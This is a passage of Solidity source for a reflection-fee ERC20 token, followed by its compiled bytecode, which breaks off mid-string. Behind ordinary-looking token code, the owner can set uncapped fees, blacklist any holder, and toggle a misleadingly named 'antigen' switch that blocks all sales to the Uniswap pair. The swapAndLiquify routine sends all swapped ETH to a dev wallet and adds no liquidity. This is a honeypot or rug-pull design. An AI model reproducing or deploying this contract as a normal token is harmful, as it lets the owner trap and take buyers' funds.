, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner { _liquidityFee = liquidityFee; } function _setdevWallet(address payable devWalletAddress) external onlyOwner { _devWalletAddress = devWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); } function antigenStatus(bool _state) public onlyOwner { _antigen = _state; emit antiWaleUpdate(_state); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function changeantigenTime(uint256 _time) public onlyOwner { cooldown = _time; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function addBotToBlackList(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We can not blacklist Uniswap router." ); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[ _blackListedBots.length - 1 ]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); if (from != owner() && to != owner()) require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (from == uniswapV2Pair) { _lastBuyTime[to] = block.timestamp; } if (!_antigen) { require(to != uniswapV2Pair, " Not available right now"); } else if (_antigen && to == uniswapV2Pair) { require( block.timestamp >= _lastBuyTime[from] + cooldown, "wait for next sell" ); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 tokenBalance = contractTokenBalance; // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); sendETHTodev(newBalance); // add liquidity to uniswap emit SwapAndLiquify(tokenBalance, newBalance); } function sendETHTodev(uint256 amount) private { _devWalletAddress.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061026b5760003560e01c80636bc87c3a11610144578063a205fe5a116100b6578063c49b9a801161007a578063c49b9a801461078b578063d543dbeb146107ab578063dd62ed3e146107cb578063ea2f0b3714610811578063ef484e6b14610831578063f2fde38b1461085157600080fd5b8063a205fe5a146106eb578063a457c2d71461070b578063a9059cbb1461072b578063aae115711461074b578063b425bac31461076b57600080fd5b80637ded4d6a116101085780637ded4d6a1461061f57806388f820201461063f5780638da5cb5b146106785780638ee88c531461069657806395d89b41146106b6578063a0c072d4146106cb57600080fd5b80636bc87c3a146105a857806370a08231146105be578063715018a6146105de578063787a08a6146105f35780637d1db4a51461060957600080fd5b80633b124fe7116101dd57806348df0dec116101a157806348df0dec146104ac57806349bd5a5e146104d95780634a74bb021461050d57806352390c021461052e5780635342acb41461054e57806365dee4101461058757600080fd5b80633b124fe7146104165780633bd5d1731461042c5780634303443d1461044c578063437823ec1461046c5780634549b0391461048c57600080fd5b806318160ddd1161022f57806318160ddd1461035f57806323b872dd146103745780632d83811914610394578063313ce567146103b45780633685d419146103d657806339509351146103f657600080fd5b8063061c82d01461027757806306fdde0314610299578063095ea7b3146102c457806313114a9d146102f45780631694505e1461031357600080fd5b3661027257005b600080fd5b34801561028357600080fd5b50610297610292366004612937565b610871565b005b3480156102a557600080fd5b506102ae6108a9565b6040516102bb9190612950565b60405180910390f35b3480156102d057600080fd5b506102e46102df3660046129bd565b61093b565b60405190151581526020016102bb565b34801561030057600080fd5b50600e545b6040519081526020016102bb565b34801561031f57600080fd5b506103477f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102bb565b34801561036b57600080fd5b50600c54610305565b34801561038057600080fd5b506102e461038f3660046129e9565b610952565b3480156103a057600080fd5b506103056103af366004612937565b6109bb565b3480156103c057600080fd5b5060125460405160ff90911681526020016102bb565b3480156103e257600080fd5b506102976103f1366004612a2a565b610a3f565b34801561040257600080fd5b506102e46104113660046129bd565b610bf6565b34801561042257600080fd5b5061030560135481565b34801561043857600080fd5b50610297610447366004612937565b610c2c565b34801561045857600080fd5b50610297610467366004612a2a565b610d16565b34801561047857600080fd5b50610297610487366004612a2a565b610e88565b34801561049857600080fd5b506103056104a7366004612a5c565b610ed6565b3480156104b857600080fd5b506103056104c7366004612a2a565b60076020526000908152604090205481565b3480156104e557600080fd5b506103477f00000000000000000000000031fbf3abc568823c5db65c2f32ef503265dd086b81565b34801561051957600080fd5b506017546102e490600160a81b900460ff1681565b34801561053a57600080fd5b50610297610549366004612a2a565b610f63565b34801561055a57600080fd5b506102e4610569366004612a2a565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561059357600080fd5b506017546102e490600160b01b900460ff1681565b3480156105b457600080fd5b5061030560155481565b3480156105ca57600080fd5b506103056105d9366004612a2a565b6110b6565b3480156105ea57600080fd5b50610297611115565b3480156105ff57600080fd5b50610305600f5481565b34801561061557600080fd5b5061030560185481565b34801561062b57600080fd5b5061029761063a366004612a2a565b611189565b34801561064b57600080fd5b506102e461065a366004612a2a565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561068457600080fd5b506000546001600160a01b0316610347565b3480156106a257600080fd5b506102976106b1366004612937565b61130d565b3480156106c257600080fd5b506102ae61133c565b3480156106d757600080fd5b506102976106e6366004612a2a565b61134b565b3480156106f757600080fd5b50610297610706366004612a88565b611397565b34801561071757600080fd5b506102e46107263660046129bd565b611419565b34801561073757600080fd5b506102e46107463660046129bd565b611468565b34801561075757600080fd5b506102e4610766366004612a88565b611475565b34801561077757600080fd5b50601754610347906001600160a01b031681565b34801561079757600080fd5b506102976107a6366004612a88565b611502565b3480156107b757600080fd5b506102976107c6366004612937565b611579565b3480156107d757600080fd5b506103056107e6366004612aa3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561081d57600080fd5b5061029761082c366004612a2a565b6115c9565b34801561083d57600080fd5b5061029761084c366004612937565b611614565b34801561085d57600080fd5b5061029761086c366004612a2a565b611643565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161089b90612adc565b60405180910390fd5b601355565b6060601080546108b890612b11565b80601f01602080910402602001604051908101604052809291908181526020018280546108e490612b11565b80156109315780601f1061090657610100808354040283529160200191610931565b820191906000526020600020905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b600061094833848461172d565b5060015b92915050565b600061095f848484611851565b6109b184336109ac85604051806060016040528060288152602001612cdf602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d4f565b61172d565b5060019392505050565b6000600d54821115610a225760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161089b565b6000610a2c611d89565b9050610a388382611dac565b9392505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b03811660009081526008602052604090205460ff16610ad15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161089b565b60005b600954811015610bf257816001600160a01b031660098281548110610afb57610afb612b4c565b6000918252602090912001546001600160a01b03161415610be05760098054610b2690600190612b78565b81548110610b3657610b36612b4c565b600091825260209091200154600980546001600160a01b039092169183908110610b6257610b62612b4c565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600890925220805460ff191690556009805480610bba57610bba612b8f565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610bea81612ba5565b915050610ad4565b5050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109489185906109ac9086611dee565b3360008181526008602052604090205460ff1615610ca15760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b606482015260840161089b565b6000610cac83611e4d565b505050506001600160a01b038416600090815260036020526040902054919250610cd891905082611e9c565b6001600160a01b038316600090815260036020526040902055600d54610cfe9082611e9c565b600d55600e54610d0e9084611dee565b600e55505050565b6000546001600160a01b03163314610d405760405162461bcd60e51b815260040161089b90612adc565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0382161415610db95760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b606482015260840161089b565b6001600160a01b0381166000908152600a602052604090205460ff1615610e225760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015260640161089b565b6001600160a01b03166000818152600a60205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b6000546001600160a01b03163314610eb25760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600c54831115610f2a5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161089b565b81610f49576000610f3a84611e4d565b5093955061094c945050505050565b6000610f5484611e4d565b5092955061094c945050505050565b6000546001600160a01b03163314610f8d5760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b03811660009081526008602052604090205460ff1615610ff65760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161089b565b6001600160a01b03811660009081526003602052604090205415611050576001600160a01b038116600090815260036020526040902054611036906109bb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526008602052604081205460ff16156110f357506001600160a01b031660009081526004602052604090205490565b6001600160a01b03821660009081526003602052604090205461094c906109bb565b6000546001600160a01b0316331461113f5760405162461bcd60e51b815260040161089b90612adc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146111b35760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b0381166000908152600a602052604090205460ff1661121b5760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015260640161089b565b60005b600b54811015610bf257816001600160a01b0316600b828154811061124557611245612b4c565b6000918252602090912001546001600160a01b031614156112fb57600b805461127090600190612b78565b8154811061128057611280612b4c565b600091825260209091200154600b80546001600160a01b0390921691839081106112ac576112ac612b4c565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600a90915260409020805460ff19169055600b805480610bba57610bba612b8f565b8061130581612ba5565b91505061121e565b6000546001600160a01b031633146113375760405162461bcd60e51b815260040161089b90612adc565b601555565b6060601180546108b890612b11565b6000546001600160a01b031633146113755760405162461bcd60e51b815260040161089b90612adc565b601780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113c15760405162461bcd60e51b815260040161089b90612adc565b60178054821515600160b01b0260ff60b01b199091161790556040517f05665953dcd96697af2fd47f7b4acf930f3936c777e229cd6f98db953ef336ea9061140e90831515815260200190565b60405180910390a150565b600061094833846109ac85604051806060016040528060258152602001612d07602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d4f565b6000610948338484611851565b6017546000906001600160a01b031633146114de5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c792044657620416464726573732063616e2064697361626c65206465766044820152632066656560e01b606482015260840161089b565b506017805460ff60a81b1916600160a81b9215158302179081905560ff9190041690565b6000546001600160a01b0316331461152c5760405162461bcd60e51b815260040161089b90612adc565b60178054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061140e90831515815260200190565b6000546001600160a01b031633146115a35760405162461bcd60e51b815260040161089b90612adc565b6115c360646115bd83600c54611ede90919063ffffffff16565b90611dac565b60185550565b6000546001600160a01b031633146115f35760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461163e5760405162461bcd60e51b815260040161089b90612adc565b600f55565b6000546001600160a01b0316331461166d5760405162461bcd60e51b815260040161089b90612adc565b6001600160a01b0381166116d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661178f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161089b565b6001600160a01b0382166117f05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161089b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166118b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161089b565b6001600160a01b0382166119175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161089b565b600081116119795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161089b565b6001600160a01b0382166000908152600a602052604090205460ff16156119b25760405162461bcd60e51b815260040161089b90612bc0565b336000908152600a602052604090205460ff16156119e25760405162461bcd60e51b815260040161089b90612bc0565b6001600160a01b0383166000908152600a602052604090205460ff1615611a1b5760405162461bcd60e51b815260040161089b90612bc0565b6000546001600160a01b03848116911614801590611a4757506000546001600160a01b03838116911614155b15611aaf57601854811115611aaf5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161089b565b7f00000000000000000000000031fbf3abc568823c5db65c2f32ef503265dd086b6001600160a01b0316836001600160a01b03161415611b05576001600160a01b03821660009081526007602052604090204290555b601754600160b01b900460ff16611b9d577f00000000000000000000000031fbf3abc568823c5db65c2f32ef503265dd086b6001600160a01b0316826001600160a01b03161415611b985760405162461bcd60e51b815260206004820152601860248201527f204e6f7420617661696c61626c65207269676874206e6f770000000000000000604482015260640161089b565b611c56565b601754600160b01b900460ff168015611be757507f00000000000000000000000031fbf3abc568823c5db65c2f32ef503265dd086b6001600160a01b0316826001600160a01b0316145b15611c5657600f546001600160a01b038416600090815260076020526040902054611c129190612bf7565b421015611c565760405162461bcd60e51b81526020600482015260126024820152711dd85a5d08199bdc881b995e1d081cd95b1b60721b604482015260640161089b565b6000611c61306110b6565b90506018548110611c7157506018545b60195481108015908190611c8f5750601754600160a01b900460ff16155b8015611ccd57507f00000000000000000000000031fbf3abc568823c5db65c2f32ef503265dd086b6001600160a01b0316856001600160a01b031614155b8015611ce25750601754600160a81b900460ff165b15611cf057611cf082611f5d565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d3257506001600160a01b03851660009081526006602052604090205460ff165b15611d3b575060005b611d4786868684611fde565b505050505050565b60008184841115611d735760405162461bcd60e51b815260040161089b9190612950565b506000611d808486612b78565b95945050505050565b6000806000611d9661215b565b9092509050611da58282611dac565b9250505090565b6000610a3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122dd565b600080611dfb8385612bf7565b905083811015610a385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161089b565b6000806000806000806000806000611e648a61230b565b9250925092506000806000611e828d8686611e7d611d89565b61234d565b919f909e50909c50959a5093985091965092945050505050565b6000610a3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4f565b600082611eed5750600061094c565b6000611ef98385612c0f565b905082611f068583612c2e565b14610a385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161089b565b6017805460ff60a01b1916600160a01b1790558047611f7b8261239d565b6000611f874783611e9c565b9050611f9281612564565b60408051848152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a150506017805460ff60a01b191690555050565b80611feb57611feb61259e565b6001600160a01b03841660009081526008602052604090205460ff16801561202c57506001600160a01b03831660009081526008602052604090205460ff16155b156120415761203c8484846125cc565b61213f565b6001600160a01b03841660009081526008602052604090205460ff1615801561208257506001600160a01b03831660009081526008602052604090205460ff165b156120925761203c8484846126f2565b6001600160a01b03841660009081526008602052604090205460ff161580156120d457506001600160a01b03831660009081526008602052604090205460ff16155b156120e45761203c84848461279b565b6001600160a01b03841660009081526008602052604090205460ff16801561212457506001600160a01b03831660009081526008602052604090205460ff165b156121345761203c8484846127df565b61213f84848461279b565b8061215557612155601454601355601654601555565b50505050565b600d54600c546000918291825b6009548110156122ad5782600360006009848154811061218a5761218a612b4c565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806121f557508160046000600984815481106121ce576121ce612b4c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561220b57600d54600c54945094505050509091565b612251600360006009848154811061222557612225612b4c565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e9c565b9250612299600460006009848154811061226d5761226d612b4c565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e9c565b9150806122a581612ba5565b915050612168565b50600c54600d546122bd91611dac565b8210156122d457600d54600c549350935050509091565b90939092509050565b600081836122fe5760405162461bcd60e51b815260040161089b9190612950565b506000611d808486612c2e565b60008060008061231a85612852565b905060006123278661286e565b9050600061233f826123398986611e9c565b90611e9c565b979296509094509092505050565b600080808061235c8886611ede565b9050600061236a8887611ede565b905060006123788888611ede565b9050600061238a826123398686611e9c565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123d2576123d2612b4c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561244b57600080fd5b505afa15801561245f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124839190612c50565b8160018151811061249657612496612b4c565b60200260200101906001600160a01b031690816001600160a01b0316815250506124e1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461172d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612536908590600090869030904290600401612c6d565b600060405180830381600087803b15801561255057600080fd5b505af1158015611d47573d6000803e3d6000fd5b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bf2573d6000803e3d6000fd5b6013541580156125ae5750601554155b156125b557565b601380546014556015805460165560009182905555565b6000806000806000806125de87611e4d565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506126109088611e9c565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461263f9087611e9c565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461266e9086611dee565b6001600160a01b0389166000908152600360205260409020556126908161288a565b61269a8483612913565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126df91815260200190565b60405180910390a3505050505050505050565b60008060008060008061270487611e4d565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506127369087611e9c565b6001600160a01b03808b16600090815260036020908152604080832094909455918b1681526004909152205461276c9084611dee565b6001600160a01b03891660009081526004602090815260408083209390935560039052205461266e9086611dee565b6000806000806000806127ad87611e4d565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061263f9087611e9c565b6000806000806000806127f187611e4d565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128239088611e9c565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546127369087611e9c565b600061094c60646115bd60135485611ede90919063ffffffff16565b600061094c60646115bd60155485611ede90919063ffffffff16565b6000612894611d89565b905060006128a28383611ede565b306000908152600360205260409020549091506128bf9082611dee565b3060009081526003602090815260408083209390935560089052205460ff161561290e57306000908152600460205260409020546128fd9084611dee565b306000908152600460205260409020555b505050565b600d546129209083611e9c565b600d55600e546129309082611dee565b600e555050565b60006020828403121561294957600080fd5b5035919050565b600060208083528351808285015260005b8181101561297d57858101830151858201604001528201612961565b8181111561298f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146129ba57600080fd5b50565b600080604083850312156129d057600080fd5b82356129db816129a5565b946020939093013593505050565b600080600060608486031